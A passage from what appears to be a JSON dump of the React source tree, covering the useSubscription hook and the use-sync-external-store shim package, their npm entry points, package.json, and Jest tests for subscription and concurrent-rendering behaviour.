value);\n      return <Grandchild value={value} />;\n    }\n\n    function Subscription({source}) {\n      const value = useSubscription(\n        React.useMemo(\n          () => ({\n            getCurrentValue: () => source.getValue(),\n            subscribe: callback => {\n              const subscription = source.subscribe(callback);\n              return () => subscription.unsubscribe();\n            },\n          }),\n          [source],\n        ),\n      );\n      return <Child value={value} />;\n    }\n\n    class Parent extends React.Component {\n      state = {};\n\n      static getDerivedStateFromProps(nextProps, prevState) {\n        if (nextProps.observed !== prevState.observed) {\n          return {\n            observed: nextProps.observed,\n          };\n        }\n\n        return null;\n      }\n\n      componentDidMount() {\n        log.push('Parent.componentDidMount:' + this.props.observed.value);\n      }\n\n      componentDidUpdate() {\n        log.push('Parent.componentDidUpdate:' + this.props.observed.value);\n      }\n\n      render() {\n        return <Subscription source={this.state.observed} />;\n      }\n    }\n\n    const observableA = createBehaviorSubject('a-0');\n    const observableB = createBehaviorSubject('b-0');\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(<Parent observed={observableA} />);\n    });\n    assertLog(['Child: a-0', 'Grandchild: a-0']);\n    expect(log).toEqual(['Parent.componentDidMount:a-0']);\n    log.splice(0);\n\n    // Start React update, but don't finish\n    await act(async () => {\n      React.startTransition(() => {\n        root.render(<Parent observed={observableB} />);\n      });\n      await waitFor(['Child: b-0']);\n      expect(log).toEqual([]);\n\n      // Emit some updates from the old subscribable\n      observableA.next('a-1');\n      observableA.next('a-2');\n\n      // Update again\n      React.startTransition(() => {\n        root.render(<Parent observed={observableA} />);\n      });\n\n      // Flush everything and ensure that the correct subscribable is used\n      await waitForAll([\n        'Child: a-2',\n        'Grandchild: a-2',\n        'Child: a-2',\n        'Grandchild: a-2',\n      ]);\n      expect(log).toEqual(['Parent.componentDidUpdate:a-2']);\n    });\n\n    // Updates from the new subscribable should be ignored.\n    log.splice(0);\n    await act(() => observableB.next('b-1'));\n    await waitForAll([]);\n    expect(log).toEqual([]);\n  });\n\n  it('should guard against updates that happen after unmounting', async () => {\n    function Child({value = 'default'}) {\n      Scheduler.log(value);\n      return null;\n    }\n\n    function Subscription({source}) {\n      const value = useSubscription(\n        React.useMemo(\n          () => ({\n            getCurrentValue: () => source.getValue(),\n            subscribe: callback => {\n              return source.subscribe(callback);\n            },\n          }),\n          [source],\n        ),\n      );\n      return <Child value={value} />;\n    }\n\n    const eventHandler = {\n      _callbacks: [],\n      _value: true,\n      change(value) {\n        eventHandler._value = value;\n        const _callbacks = eventHandler._callbacks.slice(0);\n        _callbacks.forEach(callback => callback(value));\n      },\n      getValue() {\n        return eventHandler._value;\n      },\n      subscribe(callback) {\n        eventHandler._callbacks.push(callback);\n        return () => {\n          eventHandler._callbacks.splice(\n            eventHandler._callbacks.indexOf(callback),\n            1,\n          );\n        };\n      },\n    };\n\n    eventHandler.subscribe(async value => {\n      if (value === false) {\n        root.unmount();\n      }\n    });\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(<Subscription source={eventHandler} />);\n    });\n    assertLog([true]);\n\n    // This event should unmount\n    eventHandler.change(false);\n  });\n\n  it('does not return a value from the previous subscription if the source is updated', async () => {\n    const subscription1 = {\n      getCurrentValue: () => 'one',\n      subscribe: () => () => {},\n    };\n\n    const subscription2 = {\n      getCurrentValue: () => 'two',\n      subscribe: () => () => {},\n    };\n\n    function Subscription({subscription}) {\n      const value = useSubscription(subscription);\n      if (value !== subscription.getCurrentValue()) {\n        throw Error(\n          `expected value \"${subscription.getCurrentValue()}\" but got value \"${value}\"`,\n        );\n      }\n      return null;\n    }\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(<Subscription subscription={subscription1} />);\n    });\n    await waitForAll([]);\n\n    await act(() => root.render(<Subscription subscription={subscription2} />));\n    await waitForAll([]);\n  });\n\n  it('should not tear if a mutation occurs during a concurrent update', async () => {\n    const input = document.createElement('input');\n\n    const mutate = value => {\n      input.value = value;\n      input.dispatchEvent(new Event('change'));\n    };\n\n    const subscription = {\n      getCurrentValue: () => input.value,\n      subscribe: callback => {\n        input.addEventListener('change', callback);\n        return () => input.removeEventListener('change', callback);\n      },\n    };\n\n    const Subscriber = ({id}) => {\n      const value = useSubscription(subscription);\n      Scheduler.log(`render:${id}:${value}`);\n      return value;\n    };\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(async () => {\n      // Initial render of \"A\"\n      mutate('A');\n      root.render(\n        <React.Fragment>\n          <Subscriber id=\"first\" />\n          <Subscriber id=\"second\" />\n        </React.Fragment>,\n      );\n      await waitForAll(['render:first:A', 'render:second:A']);\n\n      // Update state \"A\" -> \"B\"\n      // This update will be eagerly evaluated,\n      // so the tearing case this test is guarding against would not happen.\n      mutate('B');\n      await waitForAll(['render:first:B', 'render:second:B']);\n\n      // No more pending updates\n      jest.runAllTimers();\n\n      // Partial update \"B\" -> \"C\"\n      // Interrupt with a second mutation \"C\" -> \"D\".\n      // This update will not be eagerly evaluated,\n      // but useSubscription() should eagerly close over the updated value to avoid tearing.\n      React.startTransition(() => {\n        mutate('C');\n      });\n      await waitForPaint(['render:first:C', 'render:second:C']);\n      React.startTransition(() => {\n        mutate('D');\n      });\n      await waitForAll(['render:first:D', 'render:second:D']);\n\n      // No more pending updates\n      jest.runAllTimers();\n    });\n  });\n});\n"
  },
  {
    "path": "packages/use-subscription/src/useSubscription.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {useSyncExternalStore} from 'use-sync-external-store/shim';\n\n// Hook used for safely managing subscriptions in concurrent mode.\n//\n// In order to avoid removing and re-adding subscriptions each time this hook is called,\n// the parameters passed to this hook should be memoized in some way–\n// either by wrapping the entire params object with useMemo()\n// or by wrapping the individual callbacks with useCallback().\nexport function useSubscription<Value>({\n  // (Synchronously) returns the current value of our subscription.\n  getCurrentValue,\n\n  // This function is passed an event handler to attach to the subscription.\n  // It should return an unsubscribe function that removes the handler.\n  subscribe,\n}: {\n  getCurrentValue: () => Value,\n  subscribe: (callback: Function) => () => void,\n}): Value {\n  return useSyncExternalStore(subscribe, getCurrentValue);\n}\n"
  },
  {
    "path": "packages/use-sync-external-store/README.md",
    "content": "# use-sync-external-store\n\nBackwards-compatible shim for [`React.useSyncExternalStore`](https://reactjs.org/docs/hooks-reference.html#usesyncexternalstore). Works with any React that supports Hooks.\n\nSee also https://github.com/reactwg/react-18/discussions/86.\n"
  },
  {
    "path": "packages/use-sync-external-store/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n'use strict';\n\nexport {useSyncExternalStore} from './src/useSyncExternalStore';\n"
  },
  {
    "path": "packages/use-sync-external-store/npm/index.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/use-sync-external-store.production.js');\n} else {\n  module.exports = require('./cjs/use-sync-external-store.development.js');\n}\n"
  },
  {
    "path": "packages/use-sync-external-store/npm/shim/index.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('../cjs/use-sync-external-store-shim.production.js');\n} else {\n  module.exports = require('../cjs/use-sync-external-store-shim.development.js');\n}\n"
  },
  {
    "path": "packages/use-sync-external-store/npm/shim/index.native.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('../cjs/use-sync-external-store-shim.native.production.js');\n} else {\n  module.exports = require('../cjs/use-sync-external-store-shim.native.development.js');\n}\n"
  },
  {
    "path": "packages/use-sync-external-store/npm/shim/with-selector.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('../cjs/use-sync-external-store-shim/with-selector.production.js');\n} else {\n  module.exports = require('../cjs/use-sync-external-store-shim/with-selector.development.js');\n}\n"
  },
  {
    "path": "packages/use-sync-external-store/npm/with-selector.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/use-sync-external-store-with-selector.production.js');\n} else {\n  module.exports = require('./cjs/use-sync-external-store-with-selector.development.js');\n}\n"
  },
  {
    "path": "packages/use-sync-external-store/package.json",
    "content": "{\n  \"name\": \"use-sync-external-store\",\n  \"description\": \"Backwards compatible shim for React's useSyncExternalStore. Works with any React that supports hooks.\",\n  \"version\": \"1.7.0\",\n  \"exports\": {\n    \".\": \"./index.js\",\n    \"./with-selector\": \"./with-selector.js\",\n    \"./with-selector.js\": \"./with-selector.js\",\n    \"./shim\": {\n      \"react-native\": \"./shim/index.native.js\",\n      \"default\": \"./shim/index.js\"\n    },\n    \"./shim/index.js\": \"./shim/index.js\",\n    \"./shim/index.native\": \"./shim/index.native.js\",\n    \"./shim/index.native.js\": \"./shim/index.native.js\",\n    \"./shim/with-selector\": \"./shim/with-selector.js\",\n    \"./shim/with-selector.js\": \"./shim/with-selector.js\",\n    \"./package.json\": \"./package.json\",\n    \"./src/*\": \"./src/*.js\"\n  },\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"https://github.com/facebook/react.git\",\n    \"directory\": \"packages/use-sync-external-store\"\n  },\n  \"files\": [\n    \"LICENSE\",\n    \"README.md\",\n    \"index.js\",\n    \"index.native.js\",\n    \"with-selector.js\",\n    \"with-selector.native.js\",\n    \"shim/\",\n    \"cjs/\"\n  ],\n  \"license\": \"MIT\",\n  \"peerDependencies\": {\n    \"react\": \"^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0\"\n  },\n  \"devDependencies\": {\n    \"react-17\": \"npm:react@^17\",\n    \"react-dom-17\": \"npm:react-dom@^17\"\n  }\n}\n"
  },
  {
    "path": "packages/use-sync-external-store/shim/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n'use strict';\n\nexport {useSyncExternalStore} from 'use-sync-external-store/src/useSyncExternalStoreShim';\n"
  },
  {
    "path": "packages/use-sync-external-store/shim/index.native.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n'use strict';\n\nexport {useSyncExternalStore} from 'use-sync-external-store/src/useSyncExternalStoreShim';\n"
  },
  {
    "path": "packages/use-sync-external-store/shim/with-selector.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n'use strict';\n\nexport {useSyncExternalStoreWithSelector} from 'use-sync-external-store/src/useSyncExternalStoreWithSelector';\n"
  },
  {
    "path": "packages/use-sync-external-store/src/__tests__/useSyncExternalStoreNative-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n *\n * @jest-environment node\n */\n\n'use strict';\n\nlet React;\nlet ReactNoop;\nlet Scheduler;\nlet useSyncExternalStore;\nlet useSyncExternalStoreWithSelector;\nlet act;\nlet assertLog;\n\n// This tests the userspace shim of `useSyncExternalStore` in a server-rendering\n// (Node) environment\ndescribe('useSyncExternalStore (userspace shim, server rendering)', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    // Remove useSyncExternalStore from the React imports so that we use the\n    // shim instead. Also removing startTransition, since we use that to detect\n    // outdated 18 alphas that don't yet include useSyncExternalStore.\n    //\n    // Longer term, we'll probably test this branch using an actual build of\n    // React 17.\n    jest.mock('react', () => {\n      const {\n        startTransition: _,\n        useSyncExternalStore: __,\n        ...otherExports\n      } = jest.requireActual('react');\n      return otherExports;\n    });\n\n    jest.mock('use-sync-external-store/shim', () =>\n      jest.requireActual('use-sync-external-store/shim/index.native'),\n    );\n\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n    Scheduler = require('scheduler');\n    act = require('internal-test-utils').act;\n\n    const InternalTestUtils = require('internal-test-utils');\n    assertLog = InternalTestUtils.assertLog;\n\n    if (gate(flags => flags.source)) {\n      // The `shim/with-selector` module composes the main\n      // `use-sync-external-store` entrypoint. In the compiled artifacts, this\n      // is resolved to the `shim` implementation by our build config, but when\n      // running the tests against the source files, we need to tell Jest how to\n      // resolve it. Because this is a source module, this mock has no affect on\n      // the build tests.\n      jest.mock('use-sync-external-store/src/useSyncExternalStore', () =>\n        jest.requireActual('use-sync-external-store/shim'),\n      );\n      jest.mock('use-sync-external-store/src/isServerEnvironment', () =>\n        jest.requireActual(\n          'use-sync-external-store/src/forks/isServerEnvironment.native',\n        ),\n      );\n    }\n    useSyncExternalStore =\n      require('use-sync-external-store/shim').useSyncExternalStore;\n    useSyncExternalStoreWithSelector =\n      require('use-sync-external-store/shim/with-selector').useSyncExternalStoreWithSelector;\n  });\n\n  function Text({text}) {\n    Scheduler.log(text);\n    return text;\n  }\n\n  function createExternalStore(initialState) {\n    const listeners = new Set();\n    let currentState = initialState;\n    return {\n      set(text) {\n        currentState = text;\n        ReactNoop.batchedUpdates(() => {\n          listeners.forEach(listener => listener());\n        });\n      },\n      subscribe(listener) {\n        listeners.add(listener);\n        return () => listeners.delete(listener);\n      },\n      getState() {\n        return currentState;\n      },\n      getSubscriberCount() {\n        return listeners.size;\n      },\n    };\n  }\n\n  it('native version', async () => {\n    const store = createExternalStore('client');\n\n    function App() {\n      const text = useSyncExternalStore(\n        store.subscribe,\n        store.getState,\n        () => 'server',\n      );\n      return <Text text={text} />;\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(<App />);\n    });\n    assertLog(['client']);\n    expect(root).toMatchRenderedOutput('client');\n  });\n\n  it('Using isEqual to bailout', async () => {\n    const store = createExternalStore({a: 0, b: 0});\n\n    function A() {\n      const {a} = useSyncExternalStoreWithSelector(\n        store.subscribe,\n        store.getState,\n        null,\n        state => ({a: state.a}),\n        (state1, state2) => state1.a === state2.a,\n      );\n      return <Text text={'A' + a} />;\n    }\n    function B() {\n      const {b} = useSyncExternalStoreWithSelector(\n        store.subscribe,\n        store.getState,\n        null,\n        state => {\n          return {b: state.b};\n        },\n        (state1, state2) => state1.b === state2.b,\n      );\n      return <Text text={'B' + b} />;\n    }\n\n    function App() {\n      return (\n        <>\n          <A />\n          <B />\n        </>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => root.render(<App />));\n\n    assertLog(['A0', 'B0']);\n    expect(root).toMatchRenderedOutput('A0B0');\n\n    // Update b but not a\n    await act(() => {\n      store.set({a: 0, b: 1});\n    });\n    // Only b re-renders\n    assertLog(['B1']);\n    expect(root).toMatchRenderedOutput('A0B1');\n\n    // Update a but not b\n    await act(() => {\n      store.set({a: 1, b: 1});\n    });\n    // Only a re-renders\n    assertLog(['A1']);\n    expect(root).toMatchRenderedOutput('A1B1');\n  });\n});\n"
  },
  {
    "path": "packages/use-sync-external-store/src/__tests__/useSyncExternalStoreShared-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet useSyncExternalStore;\nlet useSyncExternalStoreWithSelector;\nlet React;\nlet ReactDOM;\nlet ReactDOMClient;\nlet Scheduler;\nlet act;\nlet useState;\nlet useEffect;\nlet useLayoutEffect;\nlet assertLog;\nlet assertConsoleErrorDev;\n\n// This tests shared behavior between the built-in and shim implementations of\n// of useSyncExternalStore.\ndescribe('Shared useSyncExternalStore behavior (shim and built-in)', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    if (gate(flags => flags.enableUseSyncExternalStoreShim)) {\n      // Test the shim against React 17.\n      jest.mock('react', () => {\n        return jest.requireActual(\n          __DEV__\n            ? 'react-17/umd/react.development.js'\n            : 'react-17/umd/react.production.min.js',\n        );\n      });\n      jest.mock('react-dom', () =>\n        jest.requireActual(\n          __DEV__\n            ? 'react-dom-17/umd/react-dom.development.js'\n            : 'react-dom-17/umd/react-dom.production.min.js',\n        ),\n      );\n      jest.mock('react-dom/client', () =>\n        jest.requireActual(\n          __DEV__\n            ? 'react-dom-17/umd/react-dom.development.js'\n            : 'react-dom-17/umd/react-dom.production.min.js',\n        ),\n      );\n    }\n    React = require('react');\n    ReactDOM = require('react-dom');\n    ReactDOMClient = require('react-dom/client');\n    Scheduler = require('scheduler');\n    useState = React.useState;\n    useEffect = React.useEffect;\n    useLayoutEffect = React.useLayoutEffect;\n    const InternalTestUtils = require('internal-test-utils');\n    assertLog = InternalTestUtils.assertLog;\n    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;\n    const internalAct = require('internal-test-utils').act;\n\n    // The internal act implementation doesn't batch updates by default, since\n    // it's mostly used to test concurrent mode. But since these tests run\n    // in both concurrent and legacy mode, I'm adding batching here.\n    act = cb => internalAct(() => ReactDOM.unstable_batchedUpdates(cb));\n    if (gate(flags => flags.source)) {\n      // The `shim/with-selector` module composes the main\n      // `use-sync-external-store` entrypoint. In the compiled artifacts, this\n      // is resolved to the `shim` implementation by our build config, but when\n      // running the tests against the source files, we need to tell Jest how to\n      // resolve it. Because this is a source module, this mock has no affect on\n      // the build tests.\n      jest.mock('use-sync-external-store/src/useSyncExternalStore', () =>\n        jest.requireActual('use-sync-external-store/shim'),\n      );\n    }\n    useSyncExternalStore =\n      require('use-sync-external-store/shim').useSyncExternalStore;\n    useSyncExternalStoreWithSelector =\n      require('use-sync-external-store/shim/with-selector').useSyncExternalStoreWithSelector;\n  });\n  function Text({text}) {\n    Scheduler.log(text);\n    return text;\n  }\n  function createRoot(container) {\n    // This wrapper function exists so we can test both legacy roots and\n    // concurrent roots.\n    if (gate(flags => !flags.enableUseSyncExternalStoreShim)) {\n      // The native implementation only exists in 18+, so we test using\n      // concurrent mode. To test the legacy root behavior in the native\n      // implementation (which is supported in the sense that it needs to have\n      // the correct behavior, despite the fact that the legacy root API\n      // triggers a warning in 18), write a test that uses\n      // createLegacyRoot directly.\n      return ReactDOMClient.createRoot(container);\n    } else {\n      // This ReactDOM.render is from the React 17 npm module.\n      ReactDOM.render(null, container);\n      return {\n        render(children) {\n          ReactDOM.render(children, container);\n        },\n      };\n    }\n  }\n  function createExternalStore(initialState) {\n    const listeners = new Set();\n    let currentState = initialState;\n    return {\n      set(text) {\n        currentState = text;\n        ReactDOM.unstable_batchedUpdates(() => {\n          listeners.forEach(listener => listener());\n        });\n      },\n      subscribe(listener) {\n        listeners.add(listener);\n        return () => listeners.delete(listener);\n      },\n      getState() {\n        return currentState;\n      },\n      getSubscriberCount() {\n        return listeners.size;\n      },\n    };\n  }\n  it('basic usage', async () => {\n    const store = createExternalStore('Initial');\n    function App() {\n      const text = useSyncExternalStore(store.subscribe, store.getState);\n      return React.createElement(Text, {\n        text: text,\n      });\n    }\n    const container = document.createElement('div');\n    const root = createRoot(container);\n    await act(() => root.render(React.createElement(App, null)));\n    assertLog(['Initial']);\n    expect(container.textContent).toEqual('Initial');\n    await act(() => {\n      store.set('Updated');\n    });\n    assertLog(['Updated']);\n    expect(container.textContent).toEqual('Updated');\n  });\n  it('skips re-rendering if nothing changes', async () => {\n    const store = createExternalStore('Initial');\n    function App() {\n      const text = useSyncExternalStore(store.subscribe, store.getState);\n      return React.createElement(Text, {\n        text: text,\n      });\n    }\n    const container = document.createElement('div');\n    const root = createRoot(container);\n    await act(() => root.render(React.createElement(App, null)));\n    assertLog(['Initial']);\n    expect(container.textContent).toEqual('Initial');\n\n    // Update to the same value\n    await act(() => {\n      store.set('Initial');\n    });\n    // Should not re-render\n    assertLog([]);\n    expect(container.textContent).toEqual('Initial');\n  });\n  it('switch to a different store', async () => {\n    const storeA = createExternalStore(0);\n    const storeB = createExternalStore(0);\n    let setStore;\n    function App() {\n      const [store, _setStore] = useState(storeA);\n      setStore = _setStore;\n      const value = useSyncExternalStore(store.subscribe, store.getState);\n      return React.createElement(Text, {\n        text: value,\n      });\n    }\n    const container = document.createElement('div');\n    const root = createRoot(container);\n    await act(() => root.render(React.createElement(App, null)));\n    assertLog([0]);\n    expect(container.textContent).toEqual('0');\n    await act(() => {\n      storeA.set(1);\n    });\n    assertLog([1]);\n    expect(container.textContent).toEqual('1');\n\n    // Switch stores and update in the same batch\n    await act(() => {\n      ReactDOM.flushSync(() => {\n        // This update will be disregarded\n        storeA.set(2);\n        setStore(storeB);\n      });\n    });\n    // Now reading from B instead of A\n    assertLog([0]);\n    expect(container.textContent).toEqual('0');\n\n    // Update A\n    await act(() => {\n      storeA.set(3);\n    });\n    // Nothing happened, because we're no longer subscribed to A\n    assertLog([]);\n    expect(container.textContent).toEqual('0');\n\n    // Update B\n    await act(() => {\n      storeB.set(1);\n    });\n    assertLog([1]);\n    expect(container.textContent).toEqual('1');\n  });\n  it('selecting a specific value inside getSnapshot', async () => {\n    const store = createExternalStore({\n      a: 0,\n      b: 0,\n    });\n    function A() {\n      const a = useSyncExternalStore(store.subscribe, () => store.getState().a);\n      return React.createElement(Text, {\n        text: 'A' + a,\n      });\n    }\n    function B() {\n      const b = useSyncExternalStore(store.subscribe, () => store.getState().b);\n      return React.createElement(Text, {\n        text: 'B' + b,\n      });\n    }\n    function App() {\n      return React.createElement(\n        React.Fragment,\n        null,\n        React.createElement(A, null),\n        React.createElement(B, null),\n      );\n    }\n    const container = document.createElement('div');\n    const root = createRoot(container);\n    await act(() => root.render(React.createElement(App, null)));\n    assertLog(['A0', 'B0']);\n    expect(container.textContent).toEqual('A0B0');\n\n    // Update b but not a\n    await act(() => {\n      store.set({\n        a: 0,\n        b: 1,\n      });\n    });\n    // Only b re-renders\n    assertLog(['B1']);\n    expect(container.textContent).toEqual('A0B1');\n\n    // Update a but not b\n    await act(() => {\n      store.set({\n        a: 1,\n        b: 1,\n      });\n    });\n    // Only a re-renders\n    assertLog(['A1']);\n    expect(container.textContent).toEqual('A1B1');\n  });\n\n  // In React 18, you can't observe in between a sync render and its\n  // passive effects, so this is only relevant to legacy roots\n  // @gate enableUseSyncExternalStoreShim\n  it(\n    \"compares to current state before bailing out, even when there's a \" +\n      'mutation in between the sync and passive effects',\n    async () => {\n      const store = createExternalStore(0);\n      function App() {\n        const value = useSyncExternalStore(store.subscribe, store.getState);\n        useEffect(() => {\n          Scheduler.log('Passive effect: ' + value);\n        }, [value]);\n        return React.createElement(Text, {\n          text: value,\n        });\n      }\n      const container = document.createElement('div');\n      const root = createRoot(container);\n      await act(() => root.render(React.createElement(App, null)));\n      assertLog([0, 'Passive effect: 0']);\n\n      // Schedule an update. We'll intentionally not use `act` so that we can\n      // insert a mutation before React subscribes to the store in a\n      // passive effect.\n      store.set(1);\n      assertLog([\n        1,\n        // Passive effect hasn't fired yet\n      ]);\n      expect(container.textContent).toEqual('1');\n\n      // Flip the store state back to the previous value.\n      store.set(0);\n      assertLog([\n        'Passive effect: 1',\n        // Re-render. If the current state were tracked by updating a ref in a\n        // passive effect, then this would break because the previous render's\n        // passive effect hasn't fired yet, so we'd incorrectly think that\n        // the state hasn't changed.\n        0,\n      ]);\n      // Should flip back to 0\n      expect(container.textContent).toEqual('0');\n    },\n  );\n  it('mutating the store in between render and commit when getSnapshot has changed', async () => {\n    const store = createExternalStore({\n      a: 1,\n      b: 1,\n    });\n    const getSnapshotA = () => store.getState().a;\n    const getSnapshotB = () => store.getState().b;\n    function Child1({step}) {\n      const value = useSyncExternalStore(store.subscribe, store.getState);\n      useLayoutEffect(() => {\n        if (step === 1) {\n          // Update B in a layout effect. This happens in the same commit\n          // that changed the getSnapshot in Child2. Child2's effects haven't\n          // fired yet, so it doesn't have access to the latest getSnapshot. So\n          // it can't use the getSnapshot to bail out.\n          Scheduler.log('Update B in commit phase');\n          store.set({\n            a: value.a,\n            b: 2,\n          });\n        }\n      }, [step]);\n      return null;\n    }\n    function Child2({step}) {\n      const label = step === 0 ? 'A' : 'B';\n      const getSnapshot = step === 0 ? getSnapshotA : getSnapshotB;\n      const value = useSyncExternalStore(store.subscribe, getSnapshot);\n      return React.createElement(Text, {\n        text: label + value,\n      });\n    }\n    let setStep;\n    function App() {\n      const [step, _setStep] = useState(0);\n      setStep = _setStep;\n      return React.createElement(\n        React.Fragment,\n        null,\n        React.createElement(Child1, {\n          step: step,\n        }),\n        React.createElement(Child2, {\n          step: step,\n        }),\n      );\n    }\n    const container = document.createElement('div');\n    const root = createRoot(container);\n    await act(() => root.render(React.createElement(App, null)));\n    assertLog(['A1']);\n    expect(container.textContent).toEqual('A1');\n    await act(() => {\n      // Change getSnapshot and update the store in the same batch\n      setStep(1);\n    });\n    assertLog([\n      'B1',\n      'Update B in commit phase',\n      // If Child2 had used the old getSnapshot to bail out, then it would have\n      // incorrectly bailed out here instead of re-rendering.\n      'B2',\n    ]);\n    expect(container.textContent).toEqual('B2');\n  });\n  it('mutating the store in between render and commit when getSnapshot has _not_ changed', async () => {\n    // Same as previous test, but `getSnapshot` does not change\n    const store = createExternalStore({\n      a: 1,\n      b: 1,\n    });\n    const getSnapshotA = () => store.getState().a;\n    function Child1({step}) {\n      const value = useSyncExternalStore(store.subscribe, store.getState);\n      useLayoutEffect(() => {\n        if (step === 1) {\n          // Update B in a layout effect. This happens in the same commit\n          // that changed the getSnapshot in Child2. Child2's effects haven't\n          // fired yet, so it doesn't have access to the latest getSnapshot. So\n          // it can't use the getSnapshot to bail out.\n          Scheduler.log('Update B in commit phase');\n          store.set({\n            a: value.a,\n            b: 2,\n          });\n        }\n      }, [step]);\n      return null;\n    }\n    function Child2({step}) {\n      const value = useSyncExternalStore(store.subscribe, getSnapshotA);\n      return React.createElement(Text, {\n        text: 'A' + value,\n      });\n    }\n    let setStep;\n    function App() {\n      const [step, _setStep] = useState(0);\n      setStep = _setStep;\n      return React.createElement(\n        React.Fragment,\n        null,\n        React.createElement(Child1, {\n          step: step,\n        }),\n        React.createElement(Child2, {\n          step: step,\n        }),\n      );\n    }\n    const container = document.createElement('div');\n    const root = createRoot(container);\n    await act(() => root.render(React.createElement(App, null)));\n    assertLog(['A1']);\n    expect(container.textContent).toEqual('A1');\n\n    // This will cause a layout effect, and in the layout effect we'll update\n    // the store\n    await act(() => {\n      setStep(1);\n    });\n    assertLog([\n      'A1',\n      // This updates B, but since Child2 doesn't subscribe to B, it doesn't\n      // need to re-render.\n      'Update B in commit phase',\n      // No re-render\n    ]);\n    expect(container.textContent).toEqual('A1');\n  });\n  it(\"does not bail out if the previous update hasn't finished yet\", async () => {\n    const store = createExternalStore(0);\n    function Child1() {\n      const value = useSyncExternalStore(store.subscribe, store.getState);\n      useLayoutEffect(() => {\n        if (value === 1) {\n          Scheduler.log('Reset back to 0');\n          store.set(0);\n        }\n      }, [value]);\n      return React.createElement(Text, {\n        text: value,\n      });\n    }\n    function Child2() {\n      const value = useSyncExternalStore(store.subscribe, store.getState);\n      return React.createElement(Text, {\n        text: value,\n      });\n    }\n    const container = document.createElement('div');\n    const root = createRoot(container);\n    await act(() =>\n      root.render(\n        React.createElement(\n          React.Fragment,\n          null,\n          React.createElement(Child1, null),\n          React.createElement(Child2, null),\n        ),\n      ),\n    );\n    assertLog([0, 0]);\n    expect(container.textContent).toEqual('00');\n    await act(() => {\n      store.set(1);\n    });\n    assertLog([1, 1, 'Reset back to 0', 0, 0]);\n    expect(container.textContent).toEqual('00');\n  });\n  it('uses the latest getSnapshot, even if it changed in the same batch as a store update', async () => {\n    const store = createExternalStore({\n      a: 0,\n      b: 0,\n    });\n    const getSnapshotA = () => store.getState().a;\n    const getSnapshotB = () => store.getState().b;\n    let setGetSnapshot;\n    function App() {\n      const [getSnapshot, _setGetSnapshot] = useState(() => getSnapshotA);\n      setGetSnapshot = _setGetSnapshot;\n      const text = useSyncExternalStore(store.subscribe, getSnapshot);\n      return React.createElement(Text, {\n        text: text,\n      });\n    }\n    const container = document.createElement('div');\n    const root = createRoot(container);\n    await act(() => root.render(React.createElement(App, null)));\n    assertLog([0]);\n\n    // Update the store and getSnapshot at the same time\n    await act(() => {\n      ReactDOM.flushSync(() => {\n        setGetSnapshot(() => getSnapshotB);\n        store.set({\n          a: 1,\n          b: 2,\n        });\n      });\n    });\n    // It should read from B instead of A\n    assertLog([2]);\n    expect(container.textContent).toEqual('2');\n  });\n  it('handles errors thrown by getSnapshot', async () => {\n    class ErrorBoundary extends React.Component {\n      state = {\n        error: null,\n      };\n      static getDerivedStateFromError(error) {\n        return {\n          error,\n        };\n      }\n      render() {\n        if (this.state.error) {\n          return React.createElement(Text, {\n            text: this.state.error.message,\n          });\n        }\n        return this.props.children;\n      }\n    }\n    const store = createExternalStore({\n      value: 0,\n      throwInGetSnapshot: false,\n      throwInIsEqual: false,\n    });\n    function App() {\n      const {value} = useSyncExternalStore(store.subscribe, () => {\n        const state = store.getState();\n        if (state.throwInGetSnapshot) {\n          throw new Error('Error in getSnapshot');\n        }\n        return state;\n      });\n      return React.createElement(Text, {\n        text: value,\n      });\n    }\n    const errorBoundary = React.createRef(null);\n    const container = document.createElement('div');\n    const root = createRoot(container);\n    await act(() =>\n      root.render(\n        React.createElement(\n          ErrorBoundary,\n          {\n            ref: errorBoundary,\n          },\n          React.createElement(App, null),\n        ),\n      ),\n    );\n    assertLog([0]);\n    expect(container.textContent).toEqual('0');\n\n    // Update that throws in a getSnapshot. We can catch it with an error boundary.\n    if (__DEV__ && gate(flags => flags.enableUseSyncExternalStoreShim)) {\n      // In 17, the error is re-thrown in DEV.\n      await expect(async () => {\n        await act(() => {\n          